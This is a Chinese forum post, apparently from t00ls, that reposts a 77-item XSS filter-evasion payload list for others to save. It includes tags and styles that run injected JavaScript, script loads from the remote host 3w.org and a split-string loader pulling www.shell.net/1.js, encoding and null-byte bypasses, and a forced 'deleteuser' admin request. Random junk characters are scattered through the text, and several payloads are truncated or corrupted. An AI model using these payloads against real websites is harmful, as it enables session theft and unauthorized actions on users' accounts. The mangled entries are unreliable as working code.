貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。& s9 _0 x! [ S
/ H c8 x8 {# D; F5 P
(1)普通的XSS JavaScript注入
+ U& }9 T! o$ y/ n* s* E: q& D, D <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
6 Q0 T6 J5 t0 a1 X F" m' P3 C! l( E N- X0 s3 {
(2)IMG标签XSS使用JavaScript命令. D8 ^9 }% N0 i6 _. C1 i
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ g4 B( i8 q# j/ B& r# @) S
6 T. | {# m. O | (3)IMG标签无分号无引号
W2 w7 P# q7 w/ u$ [ <IMG SRC=javascript:alert(‘XSS’)>
1 ?+ V. y+ C; p5 s* W. h- ?* i! Q" j8 l, F7 B# A
(4)IMG标签大小写不敏感
8 V$ y) y7 S9 h <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
4 u. F& L0 r, r
- p9 r$ T2 j8 {! O7 x. @1 v% }% ^ (5)HTML编码(必须有分号)
0 y/ E: g: ~% Q7 @( q+ j% ?; P <IMG SRC=javascript:alert(“XSS”)>7 V: K, N Y4 F( T ^7 P
- ]0 `# Q/ o. G; r, }5 h (6)修正缺陷IMG标签0 w- d9 ?4 ~" j* g2 M; w. d- P
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
& _: D) ]+ ^. Y& \& E5 \- o
# i/ V5 L2 d8 B3 e3 z3 o) E (7)formCharCode标签(计算器)
0 x8 x* F# c% t4 I6 K( w( `! ` <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>3 C5 e, m( C; P+ g' i" C9 ^3 U
6 ^3 h5 E$ q6 e, S3 f9 _# ? (8)UTF-8的Unicode编码(计算器)) W; S. z5 o% _4 u
<IMG SRC=jav..省略..S')>
2 @( k9 R `6 E, B! P
- d5 [# m: J/ y$ c2 r (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
, _! e& e7 i7 u2 M <IMG SRC=jav..省略..S')>6 l' `" f. c$ j
# R' I, s! F, ]9 G* _4 _
(10)十六进制编码也是没有分号(计算器)% u: I! T l, m s. q; ?1 e% h! i
<IMG SRC=java..省略..XSS')>
7 R/ } D; ^% n6 T r" n. \% ~0 _6 h$ }
(11)嵌入式标签,将Javascript分开
& I1 M: t- K7 f$ }1 n <IMG SRC=”jav ascript:alert(‘XSS’);”>% e, h4 R* b( m6 \) V! ]# y1 a
# }6 M; n m0 v+ \- Y7 ]
(12)嵌入式编码标签,将Javascript分开
! X s8 x4 s( M, C* C <IMG SRC=”jav ascript:alert(‘XSS’);”>
# z" w) S: h" k) r& M r& T% P! @+ p/ b0 |" Y+ y" a1 B
(13)嵌入式换行符
" I- T; E/ n+ |, W% K <IMG SRC=”jav ascript:alert(‘XSS’);”>
6 D' e2 m& Y4 |/ {! Z8 F! v j! C1 o
(14)嵌入式回车
+ l. L4 Y- R; p3 l4 L! d, E+ T, v <IMG SRC=”jav ascript:alert(‘XSS’);”>
' k! D# n" C& u4 S7 `
; P: Z) B$ G+ A: _1 d, ] (15)嵌入式多行注入JavaScript,这是XSS极端的例子* i7 I& h8 b5 i( I2 {6 h
<IMG SRC=”javascript:alert(‘XSS‘)”>0 ^5 S0 g$ ^" a: u) x @: X2 s
& h' _4 v$ N' C( Q (16)解决限制字符(要求同页面): I0 u0 u4 `& }6 E# Y9 q
<script>z=’document.’</script>: x1 G& I% x' P# r! B6 o. ]+ G
<script>z=z+’write(“‘</script>3 a$ p5 @7 E- P2 e a
<script>z=z+’<script’</script>4 _9 c8 S( ?9 T4 ^- z0 h5 _
<script>z=z+’ src=ht’</script>
1 r- y" b/ T8 d- }6 S" }. K3 p <script>z=z+’tp://ww’</script>
+ W$ o$ e8 J4 ]) i+ [5 B <script>z=z+’w.shell’</script>
% k! V3 N2 k4 }- q# W <script>z=z+’.net/1.’</script>
- O O0 T4 E+ ]" S9 L/ T0 n <script>z=z+’js></sc’</script>
$ E; @, G2 x% n <script>z=z+’ript>”)’</script>/ f9 G" e+ X$ ?7 ~; w/ ?
<script>eval_r(z)</script>
\5 p4 v0 e) i/ W5 o$ K: A
6 k7 |. e7 z1 j8 ]2 r8 x" I (17)空字符8 ~! r9 S( l! M- r9 }4 H# l
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
' Z. B: K- s. a5 F8 |7 Z, r
! E, H0 A& Z! U. r& { (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
/ M6 l9 P0 ^5 Z7 R& w perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
W4 h& ~9 v- a# g* r, u% m; ?: U$ M/ A/ f: A0 X$ s4 V' O
(19)Spaces和meta前的IMG标签
8 W, I8 i: W% q7 K <IMG SRC=” javascript:alert(‘XSS’);”>
. X( F) B0 u1 W; `0 O0 K- w3 q3 N: c' W
(20)Non-alpha-non-digit XSS
7 P& G$ o+ @8 q5 m9 ~ <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>$ i+ |+ F: N. \+ o2 h! L+ [
) w* @1 k, c; g8 }$ U" y$ P# U
(21)Non-alpha-non-digit XSS to 2: a9 ]2 [' ^& Y" W, S6 _! q: w$ s
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>% b/ M: h' D- y; P2 F
% x: |4 B' E5 P+ K2 [ (22)Non-alpha-non-digit XSS to 38 u8 d1 }+ R- k0 ~
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
* j6 m& ?$ C8 [' w8 |% S0 C) T' M$ |0 p! O; u1 X6 h
(23)双开括号
3 c$ G- i6 _ g& c4 M6 l/ K8 m <<SCRIPT>alert(“XSS”);//<</SCRIPT>0 p0 [4 b, c+ ] |" O
2 u7 r: Q5 ]5 z/ T$ A. r
(24)无结束脚本标记(仅火狐等浏览器)$ j9 J3 v5 p. r' D* A
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
3 N) o1 a4 _1 M' r+ ~4 ]
9 z5 P2 _3 L# i) T/ }% Y (25)无结束脚本标记2
7 j% n- I- ?* `4 g <SCRIPT SRC=//3w.org/XSS/xss.js>7 l! z% @( d4 c, y+ m
1 q6 H T, a3 b4 @3 M
(26)半开的HTML/JavaScript XSS
: g; D, v' H. _" D <IMG SRC=”javascript:alert(‘XSS’)”9 b0 Z4 V1 z# Q' O, R: z4 q
6 h0 B# q. R e& s) ?, h5 v+ L$ G0 V, z
(27)双开角括号
3 _* N1 l6 |2 d3 X <iframe src=http://3w.org/XSS.html <% S: m) {0 J) P% |& E3 [4 [
: Y8 K2 o [% t5 p6 _
(28)无单引号 双引号 分号( {) W4 r6 H$ @" T, t! R h& g
<SCRIPT>a=/XSS/
- M: C* E) g% B. g) U# O7 ^5 H4 S) K alert(a.source)</SCRIPT>8 ^7 i5 d1 m, {9 f0 \& R; C
/ l3 o1 H4 y; h2 x6 s* Y. F/ u2 X0 D
(29)换码过滤的JavaScript& o/ q7 o9 Z' ?. f2 X( R: q0 Y+ g
\”;alert(‘XSS’);//
, H- X5 H8 @) B5 p/ l4 f* @9 h0 h7 @* t
(30)结束Title标签
+ S) p" R1 E- x' A) z R </TITLE><SCRIPT>alert(“XSS”);</SCRIPT> c6 V; w+ g; |: j
, ^, u3 o1 Q6 g e7 n1 r (31)Input Image7 U$ [5 Q# V7 W( F6 {& B3 l
<INPUT SRC=”javascript:alert(‘XSS’);”>+ V; x, u- L/ U* `
/ _4 Y) n7 w0 e; r8 M4 Y5 B (32)BODY Image
- o8 k% p) ~: {( T/ J* B <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ T# c2 X# |: K' D, y# {
: G8 {* l7 Q3 z( Z* ? (33)BODY标签2 Q* w2 \ e1 L( X$ H& w
<BODY(‘XSS’)>
; K8 U0 e+ u3 c$ ]! J
0 b9 l$ k8 V' |* y; t1 a$ k# q+ D (34)IMG Dynsrc9 m9 ]+ K9 W) ~; F' o2 t
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
2 g) y! `0 N, }9 b) [9 @; n
9 P/ ]6 \- l& E$ J- Q (35)IMG Lowsrc/ ~$ Y* ]. h* l5 D- D2 K% V
<IMG LOWSRC=”javascript:alert(‘XSS’)”>2 ]; x8 H' s& V8 O) I
2 ~: @8 j; b/ D4 @2 p
(36)BGSOUND. u. h* e, L) g: f) P/ d6 f3 M
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
# A1 e$ j1 H( g% m9 L
/ q# j4 s$ ^( ~ S! g4 s0 l% q (37)STYLE sheet+ z2 T/ \* |( B, K
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>4 ~/ ?: D7 @ ] K
# t6 `3 z& x" N: h
(38)远程样式表' W' x7 ]9 u& W; y! }: @& F) b! z
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
% e" k6 ^' q& Z' ]
: f9 i! n7 o8 V" R5 ^! h- w (39)List-style-image(列表式)/ |$ x! U# G9 ~
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
% ~% s3 f: w9 T1 K5 L- G. l0 ]9 l8 N& h/ z2 R
(40)IMG VBscript8 Z2 ~' w, C- u/ Z. m0 Y' f4 Y) R
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
! {7 h+ f; e2 M3 \" P( a/ U( X* Z" T
(41)META链接url
1 {0 x& g5 p. {, d' K <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
2 D$ x, B' E9 l: `
. K, y* s0 @ x3 B- `8 B (42)Iframe7 s5 `& |3 u3 L7 p
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>, p: I3 V) L. n! T$ V$ y. k
2 D4 Z0 n, Y i1 j
(43)Frame
, O% Z1 I. b) M7 L. ^& p F <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>7 X) [1 K3 |) f5 K
8 _% P: a3 R& D+ }5 F. H G* h0 W (44)Table
$ Q( z; G/ k3 u, N3 s m9 i <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
- u. A% n* p r0 _$ K9 P, o" T
e) | P9 |% X (45)TD7 u6 d3 [2 v1 V( L, U1 B6 n/ _
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”># T1 g. {( X6 b0 S* }
. E, @ R8 ^& Q: m5 q: M$ K5 D
(46)DIV background-image
9 E( E2 [' W' b4 { <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
7 A- ?8 \6 @" X# K2 n' ?$ f
; V/ i0 ^2 m. M. A8 d7 v0 R- e+ v- u, W (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
' f1 E9 M& e5 M |) B <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
, [6 `, L2 I' ]/ H2 [: N
6 m# O. G$ R) V- Y (48)DIV expression1 G- T5 m5 t, ~$ ^1 a7 ]
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
, e- w0 ]( S# k' W0 U5 o; W% i) X( N1 `1 |5 I8 d) q
(49)STYLE属性分拆表达
5 A6 ?+ ]2 u0 y" H$ G <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
# v# C' s9 O6 X1 d1 C7 j+ ^4 }8 Z! S4 x5 [
(50)匿名STYLE(组成:开角号和一个字母开头)
) e% f& e4 e5 K. I- K; x8 } <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
" Z4 N# v7 k; \& P- z; x. s2 u3 A. ?! e5 q/ c0 K" i7 \" B! |' ~7 N
(51)STYLE background-image
! U! q1 n) ?$ x) w1 m8 ~: N) i <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
4 G& f6 a9 W! s( O$ J: q# g. i9 O) O" \8 u, i. Q$ ?$ J
(52)IMG STYLE方式3 D5 v% m( {; L- P, A; R
exppression(alert(“XSS”))’>, V2 N# s. q1 F" M) J" N/ x
# y" b. j) k# U! X7 W& A8 N
(53)STYLE background: Z. o, o+ o) L4 T, ]3 h
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>, X0 q* D2 J) _( {8 V {/ v
! t+ Y) Z6 `! z/ s6 g" V (54)BASE* ~: [; q% k' ]
<BASE HREF=”javascript:alert(‘XSS’);//”>
' A4 }( q G; a. k, k
2 {: z6 b- X/ Z- |7 @2 z: Z (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
% A: c6 e4 x* S' i- u( v# s <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
$ z- g0 L1 [* j* ^4 |) Y& x) [+ Q4 g! v1 u
(56)在flash中使用ActionScrpt可以混进你XSS的代码
) T$ i/ a5 [: ~$ i5 u; C- B1 { a=”get”;
1 L. N0 q, ^- B9 q4 }3 ^ b=”URL(\”";
+ s. G: d# z$ V/ {# ` c=”javascript:”;
j$ `4 j. `8 j. @# T d=”alert(‘XSS’);\”)”;
' P3 z' o! Z- Z6 c eval_r(a+b+c+d);. a: l" e' w U' W- z* X
, S! k4 \6 ?# E/ J* s" H. f
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上) b j; ^: n) n; M5 l4 Q- E. ?
<HTML xmlns:xss>
0 ] U" {6 R8 n7 v <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>* V" j0 B' ~' {( p9 ~
<xss:xss>XSS</xss:xss>
8 I3 n1 R8 V- ~" r h6 s3 _* t3 G </HTML>
W% _. s: ?) F2 ^+ u; Z% h$ a5 x7 A9 ^) `- I5 o
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用# u! M. d2 _8 ~! P7 g
<SCRIPT SRC=””></SCRIPT>* S' R- z, q( P
$ e( R- I' `. k) ~& e8 u2 h
(59)IMG嵌入式命令,可执行任意命令
3 H* ]1 Y: r/ Q. |/ X, p" a/ n3 H, W {/ u <IMG SRC=”http://www.XXX.com/a.php?a=b”>6 t% Z" V1 p2 O4 i" ?
* `' I2 s, v3 _: G- d e+ m (60)IMG嵌入式命令(a.jpg在同服务器)
* L6 _, a' k+ ]" j! _( ^+ O Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser3 D) a0 D! E9 K8 V- W
# U, c( d! J/ ?5 ]. e4 O4 I' c
(61)绕符号过滤2 M. X) u6 k2 r s# i ~
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
# O0 l k4 j5 G6 r+ L) [2 q2 H; y2 e" P2 ~9 g" s4 u
(62)
8 v/ c: p& b$ c( t <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>6 M7 b( w: w& p0 H
% e: [# @ |) _0 E# [# [ (63)
0 U0 Q/ W% r I* m <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>/ N, \2 \/ R8 @5 ? P/ B% L
) s6 g& z5 k+ d2 b4 i U4 L, j8 E
(64)
% n( Z3 n6 u! l8 W <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
& R: @9 J3 p0 H) D0 Q9 @4 Q) e
7 l" j1 t( Y. u% \4 E (65)
; L. |- e( l# q& d- @ <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
w8 I. u$ Y& x8 O+ C$ Q, M1 O- T9 u% m5 x+ d0 _/ D7 C! q
(66)5 h" m, G' \7 n/ v6 }+ N
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
9 N. `9 }4 E( |$ z# b2 G( Z% {& [' q5 N D
(67)
. E2 x$ y n% M4 z <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
6 Q. Z- g8 I: E$ U; l" [: D+ X; x3 I8 _* J0 s
(68)URL绕行
M4 t G7 ^( F0 e) P2 Y% k <A HREF=”http://127.0.0.1/”>XSS</A>7 y( Q; ^0 U2 C4 W. l/ c( i
/ I' Z% b6 Z3 B( O- H8 I (69)URL编码3 X) C4 |+ k0 Q3 R/ i. e, [, {5 I+ x
<A HREF=”http://3w.org”>XSS</A>
: [! O% B8 d/ Z1 C- M9 H+ N, l5 M
(70)IP十进制0 g H7 x! G4 |" m
<A HREF=”http://3232235521″>XSS</A>7 c: D% v0 x- N# `7 U
; j3 w8 C$ f& A& z: ` (71)IP十六进制
" }8 ?$ p7 w. I0 A! R <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>% v B- V* Y" K) t
5 F: z! c' G& J- Q$ b (72)IP八进制
( d- M, Z j, H8 P/ C <A HREF=”http://0300.0250.0000.0001″>XSS</A>; a7 c4 S8 J; m- a
* v) P5 f( ?) @2 [* @' t* i
(73)混合编码
5 i2 q! ~- a2 C8 v) b8 s' M4 J <A HREF=”h
0 K% q' S8 W$ c" ~/ {& P9 W2 F1 ^ tt p://6 6.000146.0×7.147/”">XSS</A>
; T7 J# P7 I8 A- a) [' ~6 F, V4 y- \6 K
(74)节省[http:]$ u1 I) V8 k. v, B( R( P, a
<A HREF=”//www.google.com/”>XSS</A>6 \+ F% o' B/ |2 g: ]" P1 ~
0 K& R; H) _' T) a
(75)节省[www]% X1 W2 q5 |5 D ~' t9 L4 K# |
<A HREF=”http://google.com/”>XSS</A>
& Z. r7 X! r) F3 o6 G
' D/ P8 T: S4 S! F (76)绝对点绝对DNS/ L4 ^ _% X8 k) {' ~( F
<A HREF=”http://www.google.com./”>XSS</A>/ h* m* ?. V4 Y
6 x- u. s+ n1 n$ j0 v+ p0 ? (77)javascript链接 h M5 I" D( z3 g
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |